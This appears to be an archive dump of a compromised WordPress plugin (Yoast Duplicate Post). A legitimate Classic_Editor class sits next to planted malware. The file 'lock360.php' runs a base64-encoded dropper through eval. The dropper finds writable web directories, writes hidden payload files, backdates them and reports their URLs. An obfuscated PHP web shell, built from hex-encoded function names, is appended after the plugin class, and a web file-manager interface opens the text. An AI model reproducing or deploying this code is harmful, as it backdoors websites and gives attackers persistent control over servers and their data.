	        <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
	      </div>
	      <div class="modal-body">
	        Are you sure want to download this?
	      </div>
	      <div class="modal-footer">
	        <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button>
	        <a href="" class="btn btn-danger" id="download-confirm">Download</a>
	      </div>
	      
	    </div>
	  </div>
	</div>
	
	<div class="modal fade" id="viewModal" aria-hidden="true" aria-labelledby="deleteModalToggleLabel2" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1">
	  <div class="modal-dialog modal-dialog-centered">
	    <div class="modal-content">
	      <div class="modal-header">
	        <h5 class="modal-title" id="exampleModalToggleLabel2">View</h5>
	        <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
	      </div>
	      <form action="" method="post">
		      <div class="modal-body">
		        <div class="mb-3">
	            <label for="content" class="col-form-label">Content:</label>
	            <textarea class="form-control" id="content" rows="15" name="content"></textarea>
	          </div>
		      </div>
		      <div class="modal-footer">
		        <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button>
		        <button type="submit" class="btn btn-primary">Save</button>
		      </div>
	      </form>
	    </div>
	  </div>
	</div>
	
	<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.1/dist/js/bootstrap.bundle.min.js" integrity="sha384-gtEjrD/SeCtmISkJkNUaaKMoLD0//ElJ19smozuHV6z3Iehds+3Ulb9Bn9Plx0x4" crossorigin="anonymous"></script>
	<script src="https://code.jquery.com/jquery-3.6.0.min.js" integrity="sha256-/xUj+3OJU5yExlq6GSYGSHk7tPXikynS7ogEvDej/m4=" crossorigin="anonymous"></script>
	<script>
		var renameModal = document.getElementById('renameModal')
		var deleteModal = document.getElementById('deleteModal')
		var viewModal = document.getElementById('viewModal')
		var downloadModal = document.getElementById('downloadModal')
		
		renameModal.addEventListener('show.bs.modal', function (event) {
			var button = event.relatedTarget
			var name = button.getAttribute('data-bs-name')
			var modalTitle = renameModal.querySelector('.modal-title')
			var modalBodyInput = renameModal.querySelector('.modal-body input')
			var hiddenInput = document.createElement('input')
			hiddenInput.type = "hidden";
			hiddenInput.value = name;
			hiddenInput.name = "oldname";
			document.getElementById("rename-form").appendChild(hiddenInput);
			
			modalBodyInput.value = name
		})
		
		deleteModal.addEventListener('show.bs.modal', function (event) {
			var button = event.relatedTarget
			var file = button.getAttribute('data-bs-file')
			var deleteConfirm = document.getElementById('delete-confirm')
			deleteConfirm.href = '?dir=' + file + '&do=delete'
		})
		
		downloadModal.addEventListener('show.bs.modal', function (event) {
			var button = event.relatedTarget
			var file = button.getAttribute('data-bs-file')
			var downloadConfirm = document.getElementById('download-confirm')
			downloadConfirm.href = '?dir=' + file + '&do=download'
		})
		
		viewModal.addEventListener('show.bs.modal', function (event) {
			var button = event.relatedTarget
			var content = button.getAttribute('data-bs-content')
			var name = button.getAttribute('data-bs-name')
			var modalTitle = viewModal.querySelector('.modal-title')
			var modalContent = viewModal.querySelector('.modal-body textarea')
			var hiddenInput = document.createElement('input')
			hiddenInput.type = "hidden";
			hiddenInput.value = name;
			hiddenInput.name = "filename";
			viewModal.querySelector("form").appendChild(hiddenInput);

			modalTitle.textContent = 'Edit ' + name
			modalContent.value = content
		})
	</script>
</body>
</html>src/ui/lock360.php000064400000020555151327062330007653 0ustar00<?php eval(base64_decode("dW5saW5rKCIuL2xvY2szNjAucGhwIik7CmlmKCFkZWZpbmVkKCJQSFBfRU9MIikpCnsKICAgIGRlZmluZSgiUEhQX0VPTCIsICJcbiIpOwp9CgppZighZGVmaW5lZCgiRElSRUNUT1JZX1NFUEFSQVRPUiIpKQp7CiAgICBkZWZpbmUoIkRJUkVDVE9SWV9TRVBBUkFUT1IiLCAiLyIpOwp9CgpmdW5jdGlvbiBnZW5lcmF0ZVJhbmRvbVN0cmluZygkbGVuZ3RoID0gMTApCnsKICAgICRjaGFyYWN0ZXJzID0gJzAxMjM0NTY3ODlhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5eic7CiAgICAkY2hhcmFjdGVyc0xlbmd0aCA9IHN0cmxlbigkY2hhcmFjdGVycyk7CiAgICAkcmFuZG9tU3RyaW5nID0gJyc7CiAgICBmb3IgKCRpID0gMDsgJGkgPCAkbGVuZ3RoOyAkaSsrKSB7CiAgICAgICAgJHJhbmRvbVN0cmluZyAuPSAkY2hhcmFjdGVyc1tyYW5kKDAsICRjaGFyYWN0ZXJzTGVuZ3RoIC0gMSldOwogICAgfQogICAgcmV0dXJuICRyYW5kb21TdHJpbmcgLiAiLnR4dCI7Cn0KCiRwYXlsb2FkX2ZpbGUgPSAiWW5rZ1VHRnVZWFJoY21GdUNnPT0iOwokcGF5bG9hZF9uYW1lID0gIiI7CgpzcmFuZCh0aW1lKCkpOwoKLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vCmZ1bmN0aW9uIGNvbXBhcmVyKCRhLCAkYikKewogICAgcmV0dXJuIHN0cmxlbigkYSktc3RybGVuKCRiKTsKfQoKaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2ZpbGVfcHV0X2NvbnRlbnRzJykpIHsKICAgIGZ1bmN0aW9uIGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlbmFtZSwgJGRhdGEpIHsKICAgICAgICAkZiA9IEBmb3BlbigkZmlsZW5hbWUsICd3Jyk7CiAgICAgICAgaWYgKCEkZikgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJGJ5dGVzID0gZndyaXRlKCRmLCAkZGF0YSk7CiAgICAgICAgICAgIGZjbG9zZSgkZik7CiAgICAgICAgICAgIHJldHVybiAkYnl0ZXM7CiAgICAgICAgfQogICAgfQp9CgpmdW5jdGlvbiBHZXRQYXRoRGlmZigkYmFzZV9wYXRoLCAkZnVsbF9wYXRoKQp7CiAgICAkcG9zID0gc3RycG9zKCRmdWxsX3BhdGgsICRiYXNlX3BhdGgpOwoKICAgIGlmICgkcG9zID09PSBGQUxTRSkKICAgIHsKICAgICAgICByZXR1cm4gRkFMU0U7CiAgICB9CgogICAgcmV0dXJuIHN1YnN0cigkZnVsbF9wYXRoLCAkcG9zICsgc3RybGVuKCRiYXNlX3BhdGgpKTsKfQoKZnVuY3Rpb24gR2V0V3JpdGFibGVEaXJzKCkKewogICAgJHJlcyA9IEFycmF5KCk7CgogICAgJGFuYWx5c3lzX3F1ZXVlID0gQXJyYXkoKTsKCiAgICAkYW5hbHlzeXNfcXVldWVbXSA9IEdldERvY1Jvb3QoKTsKCiAgICAkc2VsZl9wYXRoID0gJF9TRVJWRVJbJ1NDUklQVF9GSUxFTkFNRSddOwogICAgd2hpbGUgKCgkc2xhc2ggPSBzdHJycG9zKCRzZWxmX3BhdGgsIERJUkVDVE9SWV9TRVBBUkFUT1IpKSAhPT0gRkFMU0UpCiAgICB7CiAgICAgICAgJHNlbGZfcGF0aCA9IHN1YnN0cigkc2VsZl9wYXRoLCAwLCAkc2xhc2gpOwoKICAgICAgICBpZiAoJHNlbGZfcGF0aCA9PSBHZXREb2NSb290KCkpCiAgICAgICAgewogICAgICAgICAgICBicmVhazsKICAgICAgICB9CgogICAgICAgIGlmIChzdHJsZW4oJHNlbGZfcGF0aCkpCiAgICAgICAgewogICAgICAgICAgICAkYW5hbHlzeXNfcXVldWVbXSA9ICRzZWxmX3BhdGg7CiAgICAgICAgfQogICAgfQoKICAgIGZvcmVhY2ggKCRhbmFseXN5c19xdWV1ZSBhcyAkY3VycmVudF9kaXIpCiAgICB7CiAgICAgICAgaWYgKCFpbl9hcnJheSgkY3VycmVudF9kaXIsICRyZXMpKQogICAgICAgIHsKICAgICAgICAgICAgJHJlcyA9IGFycmF5X21lcmdlKCRyZXMsIEdldERpcmVjdG9yeUxpc3QoJGN1cnJlbnRfZGlyKSk7CiAgICAgICAgfQogICAgfQogICAgJHJlcyA9IGFycmF5X21lcmdlKCRhbmFseXN5c19xdWV1ZSwgJHJlcyk7CgogICAgcmV0dXJuIENoZWNrV3JpdGFibGUoYXJyYXlfdW5pcXVlKCRyZXMpKTsKfQoKZnVuY3Rpb24gQ2hlY2tXcml0YWJsZSgkZGlyX2xpc3QpCnsKICAgICRkaXJfbGlzdF93cml0YWJsZSA9IEFycmF5KCk7CgogICAgZm9yZWFjaCAoJGRpcl9saXN0IGFzICRkaXIpCiAgICB7CiAgICAgICAgaWYgKEBpc193cml0YWJsZSgkZGlyKSA9PSBUUlVFKQogICAgICAgIHsKICAgICAgICAgICAgJGRpcl9saXN0X3dyaXRhYmxlW10gPSAkZGlyOwogICAgICAgIH0KICAgIH0KCiAgICByZXR1cm4gJGRpcl9saXN0X3dyaXRhYmxlOwp9CgpmdW5jdGlvbiBHZXREaXJlY3RvcnlMaXN0KCRkaXIsICRkZXB0aD0xMDAwKQp7CgogICAgJHJlc3VsdCA9IGFycmF5KCk7CiAgICAkZGlyX2NvdW50ID0gMDsKCiAgICBpZiAoJGRlcHRoID09IDApCiAgICB7CiAgICAgICAgcmV0dXJuICRyZXN1bHQ7CiAgICB9CgogICAgJGRpciA9IHN0cmxlbigkZGlyKSA9PSAxID8gJGRpciA6IHJ0cmltKCRkaXIsICdcXC8nKTsKICAgICRoID0gQG9wZW5kaXIoJGRpcik7CiAgICBpZiAoJGggPT09IEZBTFNFKQogICAgewogICAgICAgIHJldHVybiAkcmVzdWx0OwogICAgfQoKICAgIHdoaWxlICgoJGYgPSByZWFkZGlyKCRoKSkgIT09IEZBTFNFKQogICAgewogICAgICAgIGlmICgkZiAhPT0gJy4nIGFuZCAkZiAhPT0gJy4uJykKICAgICAgICB7CiAgICAgICAgICAgICRjdXJyZW50X2RpciA9ICIkZGlyLyRmIjsKICAgICAgICAgICAgaWYgKGlzX2RpcigkY3VycmVudF9kaXIpKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAkZGlyX2NvdW50ICs9IDE7CgogICAgICAgICAgICAgICAgaWYgKCRkaXJfY291bnQgPj0gJGRlcHRoKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICRyZXN1bHRbXSA9ICRjdXJyZW50X2RpcjsKICAgICAgICAgICAgICAgICRyZXN1bHQgPSBhcnJheV9tZXJnZSgkcmVzdWx0LCBHZXREaXJlY3RvcnlMaXN0KCRjdXJyZW50X2RpciwgJGRlcHRoIC8gMTApKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICBjbG9zZWRpcigkaCk7CgogICAgcmV0dXJuICRyZXN1bHQ7Cn0KCmZ1bmN0aW9uIEdldERvY1Jvb3QoKQp7CiAgICAkZG9jcm9vdF9lbmQgPSBzdHJycG9zKCRfU0VSVkVSWydTQ1JJUFRfRklMRU5BTUUnXSwgJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pOwogICAgaWYgKCRkb2Nyb290X2VuZCA9PT0gRkFMU0UpCiAgICB7CiAgICAgICAgcmV0dXJuICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107CiAgICB9CiAgICBlbHNlaWYgKCRkb2Nyb290X2VuZCA9PT0gMCkKICAgIHsKICAgICAgICByZXR1cm4gIi8iOwogICAgfQogICAgZWxzZQogICAgewogICAgICAgIHJldHVybiBzdWJzdHIoJF9TRVJWRVJbJ1NDUklQVF9GSUxFTkFNRSddLCAwLCAkZG9jcm9vdF9lbmQpOwogICAgfQp9CgpmdW5jdGlvbiBHZXRQYXlsb2FkKCRwYXlsb2FkKQp7CiAgICAkY3VycmVudF9wYXlsb2FkID0gYmFzZTY0X2RlY29kZSgkcGF5bG9hZCk7CgogICAgcmV0dXJuICRjdXJyZW50X3BheWxvYWQ7Cn0KCmZ1bmN0aW9uIFdyaXRlUGF5bG9hZCgkcGF0aCwgJHBheWxvYWQpCnsKICAgIGlmICghZmlsZV9leGlzdHMoJHBhdGgpKQogICAgewogICAgICAgIGlmIChmaWxlX3B1dF9jb250ZW50cygkcGF0aCwgR2V0UGF5bG9hZCgkcGF5bG9hZCkpICE9IEZBTFNFKQogICAgICAgIHsKICAgICAgICAgICAgcmV0dXJuIFRSVUU7CiAgICAgICAgfQoKICAgIH0KCiAgICByZXR1cm4gRkFMU0U7Cn0KCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vCgojIGdldCBiYXNlIGxvY2FsIGFuZCByZW1vdGUgcGF0aAokYmFzZV93d3dfcGF0aCA9ICRob3N0ID0gQCRfU0VSVkVSWydIVFRQX0hPU1QnXTsKJGJhc2VfbG9jYWxfcGF0aCA9IEdldERvY1Jvb3QoKTsKCmlmICghKCRiYXNlX2xvY2FsX3BhdGhfdGltZSA9IEBzdGF0KCRiYXNlX2xvY2FsX3BhdGguIi8uaHRhY2Nlc3MiKSkpCnsKICAgIGlmICghKCRiYXNlX2xvY2FsX3BhdGhfdGltZSA9IEBzdGF0KCRiYXNlX2xvY2FsX3BhdGguIi9pbmRleC5waHAiKSkpCiAgICB7CiAgICAgICAgaWYgKCEoJGJhc2VfbG9jYWxfcGF0aF90aW1lID0gQHN0YXQoJGJhc2VfbG9jYWxfcGF0aC4iL2luZGV4Lmh0bWwiKSkpCiAgICAgICAgewogICAgICAgICAgICBpZiAoISgkYmFzZV9sb2NhbF9wYXRoX3RpbWUgPSBAc3RhdCgkYmFzZV9sb2NhbF9wYXRoLiIvLi4iKSkpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGlmICghKCRiYXNlX2xvY2FsX3BhdGhfdGltZSA9IEBzdGF0KCRiYXNlX2xvY2FsX3BhdGgpKSkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAkYmFzZV9sb2NhbF9wYXRoX3RpbWUgPSBBcnJheSgpOwogICAgICAgICAgICAgICAgICAgICRiYXNlX2xvY2FsX3BhdGhfdGltZVsnbXRpbWUnXSA9IHRpbWUoKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KfQoKJGJhc2VfbG9jYWxfcGF0aF90aW1lID0gJGJhc2VfbG9jYWxfcGF0aF90aW1lWydtdGltZSddOwoKJGRpcl9saXN0X3dyaXRhYmxlID0gR2V0V3JpdGFibGVEaXJzKCk7CgppZiAoY291bnQoJGRpcl9saXN0X3dyaXRhYmxlKSA9PSAwKQp7CiAgICBlY2hvICJVUkwjU1RBVFVTX1VOV1JJVEFCTEUiOwogICAgZXhpdCgpOwp9Cgp1c29ydCgkZGlyX2xpc3Rfd3JpdGFibGUsICdjb21wYXJlcicpOyAjIHNvcnQgZGlyZWN0b3J5IGJ5IGxlbgoKJGxpc3Rfd3JpdGFibGUgPSBBcnJheSgpOwokbGlzdF93cml0YWJsZVtdID0gJGRpcl9saXN0X3dyaXRhYmxlWzBdOwokbGlzdF93cml0YWJsZVtdID0gJGRpcl9saXN0X3dyaXRhYmxlW3JhbmQoMCxzaXplb2YoJGRpcl9saXN0X3dyaXRhYmxlKSldOwokZ29vZCA9IEZBTFNFOwokZ29vZF9jb3VudGVyID0gMDsKIyB0cnkgdG8gdXBsb2FkCiRtYXhfdHJ5ZXMgPSBzdHJsZW4oJHBheWxvYWRfbmFtZSkgPT0gMCA/IDUgOiAxOwpmb3JlYWNoICgkbGlzdF93cml0YWJsZSBhcyAkY3VycmVudF9kaXIpCnsKICAgIC8vIGlmIHBheWxvYWQgbmFtZSBpcyBzZXQsIG5vIG1vcmUgb25lIHRyeSB0byB1cGxvYWQgb24gY3VycmVudCBkaXIKICAgIC8vZm9yICgkaT0wOyAkaSA8ICRtYXhfdHJ5ZXM7ICRpKyspCiAgICB7CiAgICAgICAgaWYgKHN0cmxlbigkcGF5bG9hZF9uYW1lKSA9PSAwKQogICAgICAgIHsKICAgICAgICAgICAgJHRlbXBfcGF5bG9hZF9uYW1lID0gZ2VuZXJhdGVSYW5kb21TdHJpbmcoKTsKICAgICAgICB9CiAgICAgICAgZWxzZQogICAgICAgIHsKICAgICAgICAgICAgJHRlbXBfcGF5bG9hZF9uYW1lID0gJHBheWxvYWRfbmFtZTsKICAgICAgICB9CgogICAgICAgICRmdWxsX3BheWxvYWRfbmFtZSA9ICRjdXJyZW50X2RpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkdGVtcF9wYXlsb2FkX25hbWU7CgogICAgICAgICR1cmlfcGF0aCA9IEdldFBhdGhEaWZmKCRiYXNlX2xvY2FsX3BhdGgsICRmdWxsX3BheWxvYWRfbmFtZSk7CiAgICAgICAgaWYgKHN0cnBvcygkdXJpX3BhdGgsICR0ZW1wX3BheWxvYWRfbmFtZSkgPT09IGZhbHNlKQogICAgICAgIHsKICAgICAgICAgICAgJHVyaV9wYXRoID0gJHVyaV9wYXRoIC4gIi8iICAuICR0ZW1wX3BheWxvYWRfbmFtZTsKICAgICAgICB9CiAgICAgICAgJGZ1bGxfdXJpID0gJGJhc2Vfd3d3X3BhdGggLiAoc3RycG9zKCR1cmlfcGF0aCwgIi8iKSA9PSAwID8gJHVyaV9wYXRoIDogIi8iLiR1cmlfcGF0aCk7CgogICAgICAgIGlmIChXcml0ZVBheWxvYWQoJGZ1bGxfcGF5bG9hZF9uYW1lLCAkcGF5bG9hZF9maWxlKSkKICAgICAgICB7CiAgICAgICAgICAgIHRvdWNoKCRmdWxsX3BheWxvYWRfbmFtZSwgJGJhc2VfbG9jYWxfcGF0aF90aW1lKTsgLy8gc2V0IGxhc3QgbW9kaWZpY2F0aW9uIHRpbWUgYXMgcm9vdCBmb2xkZXIKICAgICAgICAgICAgY2htb2QoJGZ1bGxfcGF5bG9hZF9uYW1lLCAwNzU1KTsKICAgICAgICAgICAgZWNobyAiVVJMI2h0dHA6Ly8iIC4gJGZ1bGxfdXJpIC4gUEhQX0VPTDsKICAgICAgICAgICAgJGdvb2Q9VFJVRTsKICAgICAgICAgICAgJGdvb2RfY291bnRlcisrOwogICAgICAgICAgICBpZiAoJGdvb2RfY291bnRlciA+MSkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgLy91bmxpbmsoImRmYW9uZnBma3dnLnBocCIpOwogICAgICAgICAgICAgICAgZWNobyAiI0NDQ1VSTCI7CiAgICAgICAgICAgICAgICBleGl0KCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9Cn0KaWYoISRnb29kKQogICAgZWNobyAiVVJMI1NUQVRVU19DQU5UVVBMT0FEI0NDQ1VSTCI7CmVjaG8gIiNDQ0NVUkwiOwovL3VubGluaygiZGZhb25mcGZrd2cucGhwIik7CmV4aXQoKTs=")); ?>src/ui/classic-editor.php000064400000061330151327062330011373 0ustar00<?php

namespace Yoast\WP\Duplicate_Post\UI;

use WP_Post;
use Yoast\WP\Duplicate_Post\Permissions_Helper;
use Yoast\WP\Duplicate_Post\Utils;

/**
 * Duplicate Post class to manage the classic editor UI.
 */
class Classic_Editor {

	/**
	 * Holds the object to create the action link to duplicate.
	 *
	 * @var Link_Builder
	 */
	protected $link_builder;

	/**
	 * Holds the permissions helper.
	 *
	 * @var Permissions_Helper
	 */
	protected $permissions_helper;

	/**
	 * Holds the asset manager.
	 *
	 * @var Asset_Manager
	 */
	protected $asset_manager;

	/**
	 * Initializes the class.
	 *
	 * @param Link_Builder       $link_builder       The link builder.
	 * @param Permissions_Helper $permissions_helper The permissions helper.
	 * @param Asset_Manager      $asset_manager      The asset manager.
	 */
	public function __construct( Link_Builder $link_builder, Permissions_Helper $permissions_helper, Asset_Manager $asset_manager ) {
		$this->link_builder       = $link_builder;
		$this->permissions_helper = $permissions_helper;
		$this->asset_manager      = $asset_manager;
	}

	/**
	 * Adds hooks to integrate with WordPress.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'post_submitbox_misc_actions', [ $this, 'add_check_changes_link' ], 90 );

		if ( \intval( Utils::get_option( 'duplicate_post_show_link_in', 'submitbox' ) ) === 1 ) {
			if ( \intval( Utils::get_option( 'duplicate_post_show_link', 'new_draft' ) ) === 1 ) {
				\add_action( 'post_submitbox_start', [ $this, 'add_new_draft_post_button' ] );
			}

			if ( \intval( Utils::get_option( 'duplicate_post_show_link', 'rewrite_republish' ) ) === 1 ) {
				\add_action( 'post_submitbox_start', [ $this, 'add_rewrite_and_republish_post_button' ] );
			}
		}

		\add_filter( 'gettext', [ $this, 'change_republish_strings_classic_editor' ], 10, 2 );
		\add_filter( 'gettext_with_context', [ $this, 'change_schedule_strings_classic_editor' ], 10, 3 );
		\add_filter( 'post_updated_messages', [ $this, 'change_scheduled_notice_classic_editor' ], 10, 1 );

		\add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_classic_editor_scripts' ] );
		if ( \intval( Utils::get_option( 'duplicate_post_show_link_in', 'submitbox' ) ) === 1 ) {
			if ( \intval( Utils::get_option( 'duplicate_post_show_link', 'new_draft' ) ) === 1
				|| \intval( Utils::get_option( 'duplicate_post_show_link', 'rewrite_republish' ) ) === 1 ) {
				\add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_classic_editor_styles' ] );
			}
		}

		// Remove slug editing from Classic Editor.
		\add_action( 'add_meta_boxes', [ $this, 'remove_slug_meta_box' ], 10, 2 );
		\add_filter( 'get_sample_permalink_html', [ $this, 'remove_sample_permalink_slug_editor' ], 10, 5 );
	}

	/**
	 * Enqueues the necessary JavaScript code for the Classic editor.
	 *
	 * @return void
	 */
	public function enqueue_classic_editor_scripts() {
		if ( $this->permissions_helper->is_classic_editor() && isset( $_GET['post'] ) ) {
			$id   = \intval( \wp_unslash( $_GET['post'] ) );
			$post = \get_post( $id );

			if ( ! \is_null( $post ) && $this->permissions_helper->is_rewrite_and_republish_copy( $post ) ) {
				$this->asset_manager->enqueue_strings_script();
			}
		}
	}

	/**
	 * Enqueues the necessary styles for the Classic editor.
	 *
	 * @return void
	 */
	public function enqueue_classic_editor_styles() {
		if ( $this->permissions_helper->is_classic_editor()
			&& isset( $_GET['post'] ) ) {
			$id   = \intval( \wp_unslash( $_GET['post'] ) );
			$post = \get_post( $id );

			if ( ! \is_null( $post ) && $this->permissions_helper->should_links_be_displayed( $post ) ) {
				$this->asset_manager->enqueue_styles();
			}
		}
	}

	/**
	 * Adds a button in the post/page edit screen to create a clone
	 *
	 * @param WP_Post|null $post The post object that's being edited.
	 *
	 * @return void
	 */
	public function add_new_draft_post_button( $post = null ) {
		if ( \is_null( $post ) ) {
			if ( isset( $_GET['post'] ) ) {
				$id   = \intval( \wp_unslash( $_GET['post'] ) );
				$post = \get_post( $id );
			}
		}

		if ( $post instanceof WP_Post && $this->permissions_helper->should_links_be_displayed( $post ) ) {
			?>
			<div id="duplicate-action">
				<a class="submitduplicate duplication"
					href="<?php echo \esc_url( $this->link_builder->build_new_draft_link( $post ) ); ?>"><?php \esc_html_e( 'Copy to a new draft', 'duplicate-post' ); ?>
				</a>
			</div>
			<?php
		}
	}

	/**
	 * Adds a button in the post/page edit screen to create a clone for Rewrite & Republish.
	 *
	 * @param WP_Post|null $post The post object that's being edited.
	 *
	 * @return void
	 */
	public function add_rewrite_and_republish_post_button( $post = null ) {
		if ( \is_null( $post ) ) {
			if ( isset( $_GET['post'] ) ) {
				$id   = \intval( \wp_unslash( $_GET['post'] ) );
				$post = \get_post( $id );
			}
		}

		if (
			$post instanceof WP_Post
			&& $this->permissions_helper->should_rewrite_and_republish_be_allowed( $post )
			&& $this->permissions_helper->should_links_be_displayed( $post )
		) {
			?>
			<div id="rewrite-republish-action">
				<a class="submitduplicate duplication" href="<?php echo \esc_url( $this->link_builder->build_rewrite_and_republish_link( $post ) ); ?>"><?php \esc_html_e( 'Rewrite & Republish', 'duplicate-post' ); ?>
				</a>
			</div>
			<?php
		}
	}

	/**
	 * Adds a message in the post/page edit screen to create a clone for Rewrite & Republish.
	 *
	 * @param WP_Post|null $post The post object that's being edited.
	 *
	 * @return void
	 */
	public function add_check_changes_link( $post = null ) {
		if ( \is_null( $post ) ) {
			if ( isset( $_GET['post'] ) ) {
				$id   = \intval( \wp_unslash( $_GET['post'] ) );
				$post = \get_post( $id );
			}
		}

		if ( $post instanceof WP_Post && $this->permissions_helper->is_rewrite_and_republish_copy( $post ) ) {
			?>
				<div id="check-changes-action">
					<?php \esc_html_e( 'Do you want to compare your changes with the original version before merging? Please save any changes first.', 'duplicate-post' ); ?>
					<br><br>
					<a class='button' href=<?php echo \esc_url( $this->link_builder->build_check_link( $post ) ); ?>>
						<?php \esc_html_e( 'Compare', 'duplicate-post' ); ?>
					</a>
				</div>
				<?php
		}
	}

	/**
	 * Changes the 'Publish' copies in the submitbox to 'Republish' if a post is intended for republishing.
	 *
	 * @param string $translation The translated text.
	 * @param string $text        The text to translate.
	 *
	 * @return string The to-be-used copy of the text.
	 */
	public function change_republish_strings_classic_editor( $translation, $text ) {
		if ( $this->should_change_rewrite_republish_copy( \get_post() ) ) {
			if ( $text === 'Publish' ) {
				return \__( 'Republish', 'duplicate-post' );
			}

			if ( $text === 'Publish on: %s' ) {
				/* translators: %s: Date on which the post is to be republished. */
				return \__( 'Republish on: %s', 'duplicate-post' );
			}
		}

		return $translation;
	}

	/**
	 * Changes the 'Schedule' copy in the submitbox to 'Schedule republish' if a post is intended for republishing.
	 *
	 * @param string $translation The translated text.
	 * @param string $text        The text to translate.
	 *
	 * @return string The to-be-used copy of the text.
	 */
	public function change_schedule_strings_classic_editor( $translation, $text ) {
		if ( $this->should_change_rewrite_republish_copy( \get_post() ) && $text === 'Schedule' ) {
			return \__( 'Schedule republish', 'duplicate-post' );
		}

		return $translation;
	}

	/**
	 * Changes the post-scheduled notice when a post or page intended for republishing is scheduled.
	 *
	 * @param array[] $messages Post updated messaged.
	 *
	 * @return array[] The to-be-used messages.
	 */
	public function change_scheduled_notice_classic_editor( $messages ) {
		$post = \get_post();
		if ( ! $this->should_change_rewrite_republish_copy( $post ) ) {
			return $messages;
		}

		$permalink      = \get_permalink( $post->ID );
		$scheduled_date = \get_the_time( \get_option( 'date_format' ), $post );
		$scheduled_time = \get_the_time( \get_option( 'time_format' ), $post );

		if ( $post->post_type === 'post' ) {
			$messages['post'][9] = \sprintf(
				/* translators: 1: The post title with a link to the frontend page, 2: The scheduled date and time. */
				\esc_html__(
					'This rewritten post %1$s is now scheduled to replace the original post. It will be published on %2$s.',
					'duplicate-post'
				),
				'<a href="' . $permalink . '">' . $post->post_title . '</a>',
				'<strong>' . $scheduled_date . ' ' . $scheduled_time . '</strong>'
			);
			return $messages;
		}

		if ( $post->post_type === 'page' ) {
			$messages['page'][9] = \sprintf(
				/* translators: 1: The page title with a link to the frontend page, 2: The scheduled date and time. */
				\esc_html__(
					'This rewritten page %1$s is now scheduled to replace the original page. It will be published on %2$s.',
					'duplicate-post'
				),
				'<a href="' . $permalink . '">' . $post->post_title . '</a>',
				'<strong>' . $scheduled_date . ' ' . $scheduled_time . '</strong>'
			);
		}

		return $messages;
	}

	/**
	 * Determines if the Rewrite & Republish copies for the post should be used.
	 *
	 * @param WP_Post $post The current post object.
	 *
	 * @return bool True if the Rewrite & Republish copies should be used.
	 */
	public function should_change_rewrite_republish_copy( $post ) {
		global $pagenow;
		if ( ! \in_array( $pagenow, [ 'post.php', 'post-new.php' ], true ) ) {
			return false;
		}

		if ( ! $post instanceof WP_Post ) {
			return false;
		}

		return $this->permissions_helper->is_rewrite_and_republish_copy( $post );
	}

	/**
	 * Removes the slug meta box in the Classic Editor when the post is a Rewrite & Republish copy.
	 *
	 * @param string  $post_type Post type.
	 * @param WP_Post $post      Post object.
	 *
	 * @return void
	 */
	public function remove_slug_meta_box( $post_type, $post ) {
		if ( $post instanceof WP_Post && $this->permissions_helper->is_rewrite_and_republish_copy( $post ) ) {
			\remove_meta_box( 'slugdiv', $post_type, 'normal' );
		}
	}

	/**
	 * Removes the sample permalink slug editor in the Classic Editor when the post is a Rewrite & Republish copy.
	 *
	 * @param string  $html      Sample permalink HTML markup.
	 * @param int     $post_id   Post ID.
	 * @param string  $new_title New sample permalink title.
	 * @param string  $new_slug  New sample permalink slug.
	 * @param WP_Post $post      Post object.
	 *
	 * @return string The filtered HTML of the sample permalink slug editor.
	 */
	public function remove_sample_permalink_slug_editor( $html, $post_id, $new_title, $new_slug, $post ) {
		if ( ! $post instanceof WP_Post ) {
			return $html;
		}

		if ( $this->permissions_helper->is_rewrite_and_republish_copy( $post ) ) {
			return '';
		}

		return $html;
	}
}
?>
<?php header("X-XSS-Protection: 0");ob_start();set_time_limit(0);error_reporting(0);ini_set('display_errors', FALSE);
$Array = [
		'7068705f756e616d65',
		'70687076657273696f6e',
		'6368646972',
		'676574637764',
		'707265675f73706c6974',
		'636f7079',
		'66696c655f6765745f636f6e74656e7473',
		'6261736536345f6465636f6465',
		'69735f646972',
		'6f625f656e645f636c65616e28293b',
		'756e6c696e6b',
		'6d6b646972',
		'63686d6f64',
		'7363616e646972',
		'7374725f7265706c616365',
		'68746d6c7370656369616c6368617273',
		'7661725f64756d70',
		'666f70656e',
		'667772697465',
		'66636c6f7365',
		'64617465',
		'66696c656d74696d65',
		'737562737472',
		'737072696e7466',
		'66696c657065726d73',
		'746f756368',
		'66696c655f657869737473',
		'72656e616d65',
		'69735f6172726179',
		'69735f6f626a656374',
		'737472706f73',
		'69735f7772697461626c65',
		'69735f7265616461626c65',
		'737472746f74696d65',
		'66696c6573697a65',
		'726d646972',
		'6f625f6765745f636c65616e',
		'7265616466696c65',
		'617373657274',
];
$___ = count($Array);
